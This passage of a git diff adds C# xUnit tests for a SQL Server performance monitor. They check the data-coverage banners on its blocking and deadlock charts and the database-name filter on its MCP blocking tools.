+VALUES ($1, $2, $3, $4, 'LCK_M_X', 0, 0, 0, 10, 5, 1)", _nextId++, Naive(at), ServerId, ServerName),
+        QueryWindowRelation.BlockedProcessReports => ExecAsync(@"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time)
+VALUES ($1, $2, $3, $4, $2)", _nextId++, Naive(at), ServerId, ServerName),
+        _ => ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time)
+VALUES ($1, $2, $3, $4, $2)", _nextId++, Naive(at), ServerId, ServerName)
+    };
+
+    private async Task SeedRunsAsync(QueryWindowRelation relation, DateTime firstUtc, DateTime lastUtc)
+    {
+        await ExecAsync(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)",
+            _nextId, ServerId, ServerName, CollectorOf(relation), Naive(firstUtc), Naive(lastUtc));
+        _nextId += 100000;
+    }
+
+    /// <summary>The probe, the earlier-of step with the earliest point drawn, then the banner step: (visible, text).</summary>
+    private async Task<(bool Visible, string Text)> NoteAsync(QueryWindowRelation relation, DateTime? earliestDrawn, DateTime startUtc, DateTime endUtc)
+    {
+        await Task.CompletedTask;
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        floor = ServerTab.EarlierOfFloorAndRowShown(floor, earliestDrawn);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /* The chart's own points, as the read returns them, and the helper the tab uses to find the earliest one drawn. */
+    private static DateTime? DrawnFor(string surface, DateTime at) => surface switch
+    {
+        "BlockingTrend" or "DeadlockTrend" => ServerTab.EarliestBlockingTrendPointDrawn(new List<TrendPoint> { new() { Time = at, Count = 2 }, new() { Time = at.AddHours(-30), Count = 0 } }),
+        "BlockingStats" => ServerTab.EarliestBlockingStatsPointDrawn(new List<BlockingDurationStatsPoint> { new(at, 1, 10, 10, 10) }),
+        "DeadlockStats" => ServerTab.EarliestDeadlockStatsPointDrawn(new List<DeadlockSeverityStatsPoint> { new(at, 1, 10, 10, 10) }),
+        _ => null /* Lock Wait is a rate series: coverage alone */
+    };
+
+    public static IEnumerable<object[]> Surfaces() => new[]
+    {
+        new object[] { "LockWait", QueryWindowRelation.WaitStats },
+        new object[] { "BlockingTrend", QueryWindowRelation.BlockedProcessReports },
+        new object[] { "DeadlockTrend", QueryWindowRelation.Deadlocks },
+        new object[] { "BlockingStats", QueryWindowRelation.BlockedProcessReports },
+        new object[] { "DeadlockStats", QueryWindowRelation.Deadlocks },
+    };
+
+    /// <summary>The store's data starts two days ago inside a seven-day window: the note names that coverage start.</summary>
+    [Theory]
+    [MemberData(nameof(Surfaces))]
+    public async Task DataStartsInsideTheWindow_ShowsTheNote_AtTheCoverageStart(string surface, QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddDays(-2);
+        await SeedRunsAsync(relation, added, end);
+        await SeedRowAsync(relation, end.AddDays(-1));
+
+        var (visible, text) = await NoteAsync(relation, DrawnFor(surface, end.AddDays(-1)), end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(added), text);
+    }
+
+    /// <summary>The collector ran across the whole window and the first point came five hours in: the store covered the window, so no note.</summary>
+    [Theory]
+    [MemberData(nameof(Surfaces))]
+    public async Task QuietStart_WindowCovered_FirstPointComesLate_ShowsNoNote(string surface, QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedRunsAsync(relation, end.AddDays(-9), end);
+        await SeedRowAsync(relation, end.AddDays(-7).AddHours(5));
+
+        var (visible, text) = await NoteAsync(relation, DrawnFor(surface, end.AddDays(-7).AddHours(5)), end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The event-time rule: a drawn point earlier than the coverage start is the instant the note names.</summary>
+    [Fact]
+    public async Task APointDrawnBeforeTheCoverageStart_IsWhatTheNoteNames()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var pointAt = end.AddDays(-3);
+        await SeedRunsAsync(QueryWindowRelation.Deadlocks, end.AddDays(-2), end);
+        await SeedRowAsync(QueryWindowRelation.Deadlocks, end.AddDays(-1));
+
+        var (visible, text) = await NoteAsync(QueryWindowRelation.Deadlocks, DrawnFor("DeadlockTrend", pointAt), end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(pointAt), text);
+    }
+
+    private static readonly DateTime FixedEnd = new(2026, 9, 20, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private Task SeedDmvRowAsync(DateTime at) => ExecAsync(@"
+INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, event_time, server_id, server_name, database_name, monitor_loop, wait_time_ms)
+VALUES ($1, $2, $2, $3, $4, 'db1', 1, 100)", _nextId++, Naive(at), ServerId, ServerName);
+
+    /// <summary>The tab's note for the blocking charts, as the step runs it: the source check, then the probe with its flag.</summary>
+    private async Task<(bool Visible, string Text)> BlockingNoteAsync(DateTime? earliestDrawn, DateTime startUtc, DateTime endUtc)
+    {
+        var service = new LocalDataService(_duckDb);
+        var fromXe = await service.HasBlockedProcessReportsInWindowAsync(ServerId, startUtc, endUtc);
+        /* #5098: the XE branch names the combined start (collector floor, earliest report, threshold history); the DMV branch is the shared probe. */
+        var floor = fromXe
+            ? await service.GetBlockingXeDataStartAsync(ServerId, startUtc, endUtc)
+            : await service.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, ServerId, startUtc, endUtc, includeAlsoCovered: true);
+        floor = ServerTab.EarlierOfFloorAndRowShown(floor, earliestDrawn);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /// <summary>#5098: the DMV covers the whole window and the XE collector began mid-window; the read drew the XE rows, so the note names the XE start.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task DmvCoversTheWindow_XeStartsMidway_NamesTheXeStart(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var xeFrom = FixedEnd.AddDays(-3);
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await ExecAsync(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'dmv_blocking_snapshot', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)", _nextId, ServerId, ServerName, FixedEnd.AddDays(-9), FixedEnd);
+        _nextId += 100000;
+        await ExecAsync("DELETE FROM collection_log WHERE collector_name = 'blocked_process_report' AND collection_time < $1", xeFrom);
+        await SeedDmvRowAsync(FixedEnd.AddDays(-6));
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, xeFrom.AddHours(2));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, xeFrom.AddHours(2)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(xeFrom), text);
+    }
+
+    /// <summary>#5098: no XE row in the window, so the read drew the DMV rows and the note is as before (the DMV covers the window: quiet).</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task DmvOnly_NoteIsAsBefore(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await ExecAsync(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'dmv_blocking_snapshot', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)", _nextId, ServerId, ServerName, FixedEnd.AddDays(-9), FixedEnd);
+        _nextId += 100000;
+        await SeedDmvRowAsync(FixedEnd.AddDays(-6));
+
+        Assert.False(await new LocalDataService(_duckDb).HasBlockedProcessReportsInWindowAsync(ServerId, FixedEnd.AddDays(-7), FixedEnd));
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-6)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: the XE collector covers the whole window: no note, with or without the DMV beside it.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task XeCoversTheWindow_ShowsNoNote(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-7).AddHours(5));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-7).AddHours(5)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    private async Task SeedThresholdAsync(DateTime at, int valueInUse) =>
+        await ExecAsync(@"
+INSERT INTO server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced)
+VALUES ($1, $2, $3, $4, 'blocked process threshold (s)', $5, $5, true, true)", _nextId++, Naive(at), ServerId, ServerName, valueInUse);
+
+    /// <summary>#5098: the threshold went on midway; the collector covers the window and the first report is later. The note names the first nonzero snapshot.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task ThresholdWentOnMidway_NamesTheFirstNonzeroSnapshot(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedThresholdAsync(FixedEnd.AddDays(-8), 0);
+        await SeedThresholdAsync(FixedEnd.AddDays(-4), 5);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-2));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-2)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(FixedEnd.AddDays(-4)), text);
+    }
+
+    /// <summary>#5098: a report earlier than the first nonzero snapshot is proof the threshold was on: the note names the report.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task AReportBeforeTheFirstNonzeroSnapshot_NamesTheReport(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedThresholdAsync(FixedEnd.AddDays(-8), 0);
+        await SeedThresholdAsync(FixedEnd.AddDays(-4), 5);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-5));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-5)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(FixedEnd.AddDays(-5)), text);
+    }
+
+    /// <summary>#5098: the threshold was already on before the window: covered, no note.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task ThresholdOnBeforeTheWindow_IsCovered(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedThresholdAsync(FixedEnd.AddDays(-8), 5);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-5));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-5)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: nonzero snapshots inside the window, none before it, and no zero ever read: the earlier snapshots may be gone, so the start is unknown, not late. Covered, no note.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task NonzeroSnapshotsInTheWindowAndNoZeroSeen_IsCovered(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedThresholdAsync(FixedEnd.AddDays(-4), 5);
+        await SeedThresholdAsync(FixedEnd.AddDays(-3), 5);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-2));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-2)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: the threshold read 5 and then 0 with no earlier snapshot: it was turned off later, which is not a late start. Covered, no note.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task AZeroSnapshotAfterTheFirstNonzeroOne_IsNotALateStart(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-9), FixedEnd);
+        await SeedThresholdAsync(FixedEnd.AddDays(-6), 5);
+        await SeedThresholdAsync(FixedEnd.AddDays(-3), 0);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-5));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-5)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: no server_config rows at all: the answer is the collector's start, as before the threshold was read.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task NoServerConfigRows_NamesTheCollectorStart_AsBefore(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var xeFrom = FixedEnd.AddDays(-3);
+        await SeedRunsAsync(QueryWindowRelation.BlockedProcessReports, xeFrom, FixedEnd);
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, xeFrom.AddHours(2));
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, xeFrom.AddHours(2)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(xeFrom), text);
+    }
+
+    /// <summary>#5098: the DMV branch never reads the threshold: a midway-on threshold changes nothing there.</summary>
+    [Theory]
+    [InlineData("BlockingTrend")]
+    [InlineData("BlockingStats")]
+    public async Task DmvBranch_IgnoresTheThreshold(string surface)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await ExecAsync(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'dmv_blocking_snapshot', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)", _nextId, ServerId, ServerName, FixedEnd.AddDays(-9), FixedEnd);
+        _nextId += 100000;
+        await SeedDmvRowAsync(FixedEnd.AddDays(-6));
+        await SeedThresholdAsync(FixedEnd.AddDays(-8), 0);
+        await SeedThresholdAsync(FixedEnd.AddDays(-4), 5);
+
+        var (visible, text) = await BlockingNoteAsync(DrawnFor(surface, FixedEnd.AddDays(-6)), FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: the tab's XE branch goes through the guarded probe with the combined start; the DMV branch keeps the shared step.</summary>
+    [Fact]
+    public void TheXeBranch_CombinesThroughTheGuardedProbe_AndTheDmvBranchKeepsTheSharedStep()
+    {
+        var src = File.ReadAllText(ControlsFile("ServerTab.BlockingChartsDataStart.cs")).Replace("\r\n", "\n");
+        var start = src.IndexOf("private async System.Threading.Tasks.Task RefreshBlockingBannerAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = src[start..src.IndexOf("\n    }\n", start, StringComparison.Ordinal)];
+        Assert.Contains("if (!blockingFromXe)", body, StringComparison.Ordinal);
+        Assert.Contains("await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.BlockedProcessReports, banner, start, end, earliestDrawn);", body, StringComparison.Ordinal);
+        Assert.Contains("await ProbeWindowFloorOrNullAsync(", body, StringComparison.Ordinal);
+        Assert.Contains("_dataService.GetBlockingXeDataStartAsync(_serverId, start, end, databaseNames)", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5098: the ensure that switches the threshold on captures server_config once more, after the change and outside the sp_configure try, so a new server's first snapshot is not the only one.</summary>
+    [Fact]
+    public void TheBlockedProcessEnsure_RecapturesServerConfig_OnlyAfterItChangedTheThreshold()
+    {
+        var src = File.ReadAllText(ServicesFile("RemoteCollectorService.BlockedProcessReport.cs")).Replace("\r\n", "\n");
+        var start = src.IndexOf("private async Task EnsureBlockedProcessXeSessionOnPremAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = src[start..];
+        var changed = body.IndexOf("thresholdChanged = true;", StringComparison.Ordinal);
+        var catchAt = body.IndexOf("catch (SqlException ex)", StringComparison.Ordinal);
+        var recapture = body.IndexOf("if (thresholdChanged)", StringComparison.Ordinal);
+        Assert.True(changed > 0 && catchAt > changed && recapture > catchAt, "the flag is set in the try, and read after the catch");
+        Assert.Contains("await RecaptureServerConfigAsync(server, cancellationToken);", body[recapture..], StringComparison.Ordinal);
+        Assert.Contains("await RunCollectorAsync(server, \"server_config\", cancellationToken);", src, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5098: the source check honors the database filter like the reads do.</summary>
+    [Fact]
+    public async Task SourceCheck_HonorsTheDatabaseFilter()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRowAsync(QueryWindowRelation.BlockedProcessReports, FixedEnd.AddDays(-1));
+        var service = new LocalDataService(_duckDb);
+        var window = (FixedEnd.AddDays(-7), FixedEnd);
+
+        Assert.True(await service.HasBlockedProcessReportsInWindowAsync(ServerId, window.Item1, window.Item2));
+        Assert.False(await service.HasBlockedProcessReportsInWindowAsync(ServerId, window.Item1, window.Item2, ["no_such_db"]));
+    }
+
+    /// <summary>A zero bucket is the chart's baseline, not a point drawn: the trend helper ignores it.</summary>
+    [Fact]
+    public void ZeroBuckets_AreNotPointsDrawn()
+    {
+        var at = new DateTime(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc);
+        Assert.Null(ServerTab.EarliestBlockingTrendPointDrawn(new List<TrendPoint> { new() { Time = at, Count = 0 } }));
+        Assert.Null(ServerTab.EarliestBlockingStatsPointDrawn(new List<BlockingDurationStatsPoint> { new(at, 0, 0, 0, 0) }));
+    }
+
+    /// <summary>Wiring pin: every refresh path that draws these charts also runs the note step, after the charts, and the xaml carries the five notes.</summary>
+    [Fact]
+    public void EveryRefreshPath_RunsTheNoteSteps_AndTheXamlCarriesTheNotes()
+    {
+        var refresh = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs")).ReplaceLineEndings("\n");
+        Assert.Equal(2, Count(refresh, "await RefreshBlockingTrendsBannersAsync("));
+        Assert.Equal(2, Count(refresh, "await RefreshBlockingStatsBannersAsync("));
+        Assert.True(refresh.IndexOf("UpdateDeadlockTrendChart(dt.Result", StringComparison.Ordinal)
+            < refresh.IndexOf("await RefreshBlockingTrendsBannersAsync(lwt.Result", StringComparison.Ordinal));
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        foreach (var name in new[] { "LockWaitTrendTruncationBanner", "BlockingTrendTruncationBanner", "DeadlockTrendTruncationBanner",
+                     "BlockingStatsBlockingTruncationBanner", "BlockingStatsDeadlockTruncationBanner" })
+        {
+            Assert.Contains($"x:Name=\"{name}\"", xaml, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// Wiring pin: the Trends read and the Stats read take the database filter, so the XE source check the note runs must take the same one.
+    /// All four refresh calls hand the tab's <c>SelectedDatabaseFilter</c> to their step, each step hands its <c>databaseNames</c> to
+    /// <c>BlockingReadTookXeAsync(start, end, databaseNames)</c>, and that check hands it on to the source query.
+    /// </summary>
+    [Fact]
+    public void TheNoteSteps_ReceiveTheDatabaseFilter_AndHandItToTheXeSourceCheck()
+    {
+        var refresh = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs")).ReplaceLineEndings("\n");
+        foreach (var call in new[] { "await RefreshBlockingTrendsBannersAsync(", "await RefreshBlockingStatsBannersAsync(" })
+        {
+            var at = 0;
+            var seen = 0;
+            while ((at = refresh.IndexOf(call, at, StringComparison.Ordinal)) >= 0)
+            {
+                var line = refresh[at..refresh.IndexOf('\n', at)];
+                Assert.EndsWith("hoursBack, fromDate, toDate, SelectedDatabaseFilter);", line, StringComparison.Ordinal);
+                seen++;
+                at += call.Length;
+            }
+
+            Assert.Equal(2, seen);
+        }
+
+        var src = File.ReadAllText(ControlsFile("ServerTab.BlockingChartsDataStart.cs")).Replace("\r\n", "\n");
+        foreach (var step in new[] { "RefreshBlockingTrendsBannersAsync", "RefreshBlockingStatsBannersAsync" })
+        {
+            var start = src.IndexOf($"private async System.Threading.Tasks.Task {step}(", StringComparison.Ordinal);
+            Assert.True(start >= 0, $"{step} is missing");
+            var body = src[start..src.IndexOf("\n    }\n", start, StringComparison.Ordinal)];
+            Assert.Contains("IReadOnlyList<string>? databaseNames = null)", body, StringComparison.Ordinal);
+            Assert.Contains("await BlockingReadTookXeAsync(start, end, databaseNames);", body, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("_dataService.HasBlockedProcessReportsInWindowAsync(_serverId, start, end, databaseNames)", src, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WaitStatsRelation_NamesItsViewAndCollector()
+    {
+        Assert.Equal("v_wait_stats", LocalDataService.QueryWindowRelationView(QueryWindowRelation.WaitStats));
+        Assert.Equal("wait_stats", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.WaitStats));
+    }
+
+    private static int Count(string haystack, string needle)
+    {
+        var n = 0;
+        for (var i = haystack.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = haystack.IndexOf(needle, i + 1, StringComparison.Ordinal)) { n++; }
+        return n;
+    }
+
+    /// <summary>The wiring: each step calls each note with its relation, banner and drawn-point argument.</summary>
+    [Theory]
+    [InlineData("RefreshBlockingTrendsBannersAsync", "WaitStats", "LockWaitTrendTruncationBanner", "")]
+    [InlineData("RefreshBlockingTrendsBannersAsync", "BlockedProcessReports", "BlockingTrendTruncationBanner", ", EarliestBlockingTrendPointDrawn(blocking), databaseNames")]
+    [InlineData("RefreshBlockingTrendsBannersAsync", "Deadlocks", "DeadlockTrendTruncationBanner", ", EarliestBlockingTrendPointDrawn(deadlocks)")]
+    [InlineData("RefreshBlockingStatsBannersAsync", "BlockedProcessReports", "BlockingStatsBlockingTruncationBanner", ", EarliestBlockingStatsPointDrawn(durationStats), databaseNames")]
+    [InlineData("RefreshBlockingStatsBannersAsync", "Deadlocks", "BlockingStatsDeadlockTruncationBanner", ", EarliestDeadlockStatsPointDrawn(deadlockSeverity)")]
+    public void BlockingBannerSteps_CallEachNote_WithItsRelation(string step, string relation, string banner, string drawn)
+    {
+        var src = File.ReadAllText(ControlsFile("ServerTab.BlockingChartsDataStart.cs")).Replace("\r\n", "\n");
+        var start = src.IndexOf($"private async System.Threading.Tasks.Task {step}(", StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{step} is missing");
+        var body = src[start..src.IndexOf("\n    }\n", start, StringComparison.Ordinal)];
+
+        /* #5098: the blocking note goes through RefreshBlockingBannerAsync (the XE branch combines the start, the DMV branch is the shared step). */
+        var call = relation == "BlockedProcessReports"
+            ? $"await RefreshBlockingBannerAsync(blockingFromXe, {banner}, start, end{drawn});"
+            : $"await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.{relation}, {banner}, start, end{drawn});";
+        Assert.True(body.Contains(call, StringComparison.Ordinal), $"{step} must contain: {call}");
+    }
+
+    private static string ServicesFile(string name, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Services", name));
+
+    private static string ControlsFile(string name, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", name));
+}
diff --git a/Lite.Tests/BlockingDatabaseFilterToolTests.cs b/Lite.Tests/BlockingDatabaseFilterToolTests.cs
new file mode 100644
index 0000000000..8d82c31a93
--- /dev/null
+++ b/Lite.Tests/BlockingDatabaseFilterToolTests.cs
@@ -0,0 +1,369 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR3, lane L1): <c>database_name</c> on Lite's get_blocking_trend, get_blocked_process_xml and
+/// get_blocking_stats, the twins of Darling's list-taking readers. The readers already took a database list (the
+/// Blocking tab's filter); what was missing was the MCP parameter. Each tool gets a DuckDB fixture with three
+/// databases where the filter returns only the chosen one and a blank name returns all of them, plus the filtered
+/// empty answer, which says "for the database X" the way Darling's does and keeps the <c>empty</c> status word for a
+/// collector that ran.
+/// </summary>
+public sealed class BlockingDatabaseFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "BlockingDbFilterSrv";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly int _serverId;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 910000;
+
+    public BlockingDatabaseFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-blockdbfilter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // One clock read per test instance (cut to the minute). Reading the clock on every call split rows
+    // seeded together across two minutes whenever a minute boundary passed mid-seed.
+    private readonly DateTime _minuteAnchor = MinuteOf(DateTime.UtcNow);
+
+    private static DateTime MinuteOf(DateTime now) =>
+        new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+    private DateTime Minute(int minutesAgo) => _minuteAnchor.AddMinutes(-minutesAgo);
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement;
+
+    private async Task SeedThreeDatabaseReportsAsync()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11);
+        await SeedReportAsync(Minute(20), "DbB", 22);
+        await SeedReportAsync(Minute(10), "DbC", 33);
+    }
+
+    /* ───────────────────────── get_blocked_process_xml ───────────────────────── */
+
+    [Fact]
+    public async Task BlockedProcessXml_OneName_ReturnsOnlyThatDatabasesReports()
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessXml(
+            _service, _serverManager, ServerName, database_name: "DbB"));
+
+        var reports = root.GetProperty("reports").EnumerateArray().ToList();
+        var only = Assert.Single(reports);
+        Assert.Equal("DbB", only.GetProperty("database_name").GetString());
+        Assert.Equal(22, only.GetProperty("blocked_spid").GetInt32());
+        /* #5244 L3: the page says it was filtered. */
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task BlockedProcessXml_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessXml(
+            _service, _serverManager, ServerName, database_name: blank));
+
